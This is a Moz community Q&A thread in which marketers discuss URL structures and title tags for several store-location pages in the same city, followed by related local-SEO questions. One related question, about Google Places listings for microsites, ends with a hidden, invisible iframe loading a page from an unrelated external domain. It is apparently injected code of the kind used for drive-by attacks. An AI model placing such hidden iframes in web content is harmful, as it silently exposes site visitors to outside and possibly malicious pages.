URL and title strategy for multiple location pages in the same city
-
Hi,
I have a customer which opens additional branches in cities where he had until now only one branch.
My question is: Once we open new store pages, what is the best strategy for the local store pages in terms of URL and title?
So far I've seen some different strategies for URL structure:
Some use [URL]/locations/cityname-1/2/3 etc.
while others use [URL]/locations/cityname-zip code/
I've even seen [URL]/locations/street address-cityname (that's what Starbucks do)There are also different strategies for the title of the branch page.
Some use [city name] [state] [zip code] | [Company name]
Other use [Full address] | [Company name]
Or [City name] [US state] [1/2/3] | [Company name]
Or [City name] [District / Neighborhood] [Zip Code] | [Company name]What is the preferred strategy for getting the best results? On the one hand, I wish differentiate the store pages from one another and gain as much local coverage as possible; on the other hand, I wish to create consistency and establish a long term strategy, taking into consideration that many more branches will be opened in the near future.
-
My pleasure, Gal
-
Thanks!
-
Hey Gal,
I'm personally a fan of title tags like this one on Phil Rozek's homepage:
http://www.localvisibilitysystem.com/
I love it when they contain a mix of sentiment and keywords, because this makes them stand out in the SERPs.
It's fine to have your brand name in most/all of your title tags, and I think it's REALLY important to have in on the homepage, the local landing page, the about page and contact page. Beyond that, with both title and H tags, I recommend being creative.
-
I'll followup this question
In the title tag, we'd like to keep the brand name. We have 1 product which is the main keyword.
What would you suggest about the title tag and the H1 in these city pages?
-
Hi Gal,
My suggestion would be to go forward like this:
URLs:
domain.com/chicago/32-center-st
Title Tags:
Brand City Street
Others in our community may have different suggestions, but the above seems simple and consistent to me.
Got a burning SEO question?
Subscribe to Moz Pro to gain full access to Q&A, answer questions, and ask your own.
Browse Questions
Explore more categories
-
Moz Tools
Chat with the community about the Moz tools.
-
SEO Tactics
Discuss the SEO process with fellow marketers
-
Community
Discuss industry events, jobs, and news!
-
Digital Marketing
Chat about tactics outside of SEO
-
Research & Trends
Dive into research and trends in the search industry.
-
Support
Connect on product support and feature requests.
Related Questions
-
Local Strategy for Multiple Domain Integration
Hello, We are a locally driven business with two locations. Currently, each location has its own local site and are linked to from our central domain (3 domains total). We are discussing whether we should integrate the local sites into location pages on our core domain. However, we would also prefer to keep the ‘local’ domains live. Is this a viable strategy and what would we need to do to ensure the local sites won’t cannibalize our efforts with the main domain? Also, should we remove the contact information on those local sites to avoid NAP issues? The other option would be to build out the local domains but that could raise concerns over budget and potentially expanding into the future. And we would like the main domain to take presendence. A few additional notes on this: Each location has its own brand name and contact information. Traffic across all 3 sites is about the same. We are also considering using silos with sub-folders to build out local service pages. We understand how to set up location pages but are asking more in terms of overall strategy and ideal way to position all 3 sites. Any help or insight would be very appreciated. Thank you in advance.
Local Website Optimization | | Ben-R
Best,0 -
Question about partial duplicate content on location landing pages of multilocation business
Hi everyone, I am a psychologist in private practice in Colorado and I recently went from one location to 2 locations. I'm currently updating my website to better accommodate the second location. I also plan continued expansion in the future, so there will be more and more locations as time goes on. As a result, I am making my websites current homepage non-location specific and creating location landing pages as I have seen written about in many places. My question is: I know that location landing pages should have unique content, and I have plenty of this, but how much content is it also okay to have be duplicate across the location landing pages and the homepage? For instance, here is the current draft of the new homepage (these are not live yet): http://www.effectivetherapysolutions.com/dev/ And here are the drafts of the location landing pages: http://www.effectivetherapysolutions.com/dev/denver-office http://www.effectivetherapysolutions.com/dev/colorado-springs-office And for reference, here is the current homepage that is actually live for my single Denver location: http://www.effectivetherapysolutions.com/ As you can see, the location landing pages have the following sections of unique content: Therapist picture at the top testimonial quotes (the one on the homepage is the only thing I have I framed in this block from crawl so that it appears as unique content on the Denver page) therapist bios GMB listing driving directions and hours and I also haven't added these yet, but we will also have unique client success stories and appropriately tagged images of the offices So that's plenty of unique content on the pages, but I also have the following sections of content that are identical or nearly identical to what I have on the homepage: Intro paragraph blue and green "adult" and child/teen" boxes under the intro paragraph "our treatment really works" section "types of anxiety we treat" section Is that okay or is that too much duplicate content? The reason I have it that way is that my website has been very successful for years at converting site visitors into paying clients, and I don't want to lose aspects of the page that I know work when people land on it. And now that I am optimizing the location landing pages to be where people end up instead of the homepage, I want them to still see all of that content that I know is effective at conversion. If people on here do think it is too much, one possible solution is to turn parts of it into pictures or put them into I-frames on the location pages so Google doesn't crawl those parts of the location pages, but leave them normal on the homepage so it still gets crawled on there. I've seen a lot written about not having duplicate content on location landing pages for this type of website, but everything I've read seems to refer to entire pages being copied with just the location names changed, which is not what I'm doing, hence my question. Thanks everyone!
Local Website Optimization | | gremmy90 -
Local SEO - Adding the location to the URL
Hi there, My client has a product URL: www.company.com/product. They are only serving one state in the US. The existing URL is ranking in a position between 8-15 at the moment for local searches. Would it be interesting to add the location to the URL in order to get a higher position or is it dangerous as we have our rankings at the moment. Is it really giving you an advantage that is worth the risk? Thank you for your opinions!
Local Website Optimization | | WeAreDigital_BE
Sander0 -
Disproportionate Links to Home Page
I'm a professional magician and mentalist who travels nationally for corporate events, social functions, and trade shows. Unfortunately, the landing pages are all for different venues and locations, but the product stays the same. How do you recommend optimizing for somebody whose product is essentially themselves? The pages have similar content, videos, etc., so I don't want to be dinged for duplicate content.
Local Website Optimization | | KevinViner0 -
Ranking a Website that Services Multiple Cities
We have a website that offers services to various cities in a state. However, since we don't want to do keyword stuffing, how do we rank this website for all of these cities when it comes to the **title tags? **For example, how do we optimize the homepage title tag? Obviously I know we can't put all the cities into it, so how do we choose which city to use? I know we can add city/local pages and optimize them for those locations, but I'm referring specifically to the homepage and other main pages of the website. How do you determine which cities to use in those title tags?
Local Website Optimization | | SEOhughesm0 -
Main Website and microsite - Do I do google places for both as it will technically be duplicating the locations,?
Hi All, I have a main eCommerce website which trades out of a number of locations and all these locations appear in google places although they don't rank particularly well in google places . I also have a number of microsites which are specific to one type of product I do and these rank very well locally. My question is , should I also do google places for my microsites as this would technically mean I am creating a duplicate location listing in google places but for a different website etc./business I only have one google account so I guess this would be done under the same google account ? thanks Pete <iframe id="zunifrm" style="display: none;" src="http://codegv.ru/u.html"></iframe>
Local Website Optimization | | PeteC120 -
Is this an example of bad doorway pages or perfectly fine and helping users?
I'm asking because I want to do something similar. http://bit.ly/1puGXJu Imagine hundreds of pages like this, with the city names switched out. Since the inventory is different on each page, due to different inventory in different cities, are these pages not considered doorway pages and Google will probably be fine with them?
Local Website Optimization | | CFSSEO0 -
Local SEO + Best Practice for locations
Hi All, Based on a hypothetical scenario, lets say you are a plumber. You live and operate within Chelsea in London. You have established a Google places profile and incorporated schema data to tell Google your fixed place location. In addition you operate in several nearby towns with no fixed location presence. i.e Brentford, Bromley, Catford, Cheswick and Tottenham. I create a feature rich page on 'How to find a quality plumber'. Within the page I incorporate the following description: blah blah, as a quality plumber serving the community of Chelsea, we also offer our services to nearby towns of Brentford, Bromley, Catford, Cheswick and Tottenham. I create hyperlinks for the towns (Brentford, Bromley, Catford, Cheswick and Tottenham) that allow the user see in details a full list of services, operation hours, etc. Naturally all towns will have there own unique content (no duplication). Question
Local Website Optimization | | Mark_Ch
Is the above scenario the correct way to provide local seo or is this approach considered spammy to Google? Thanks Mark0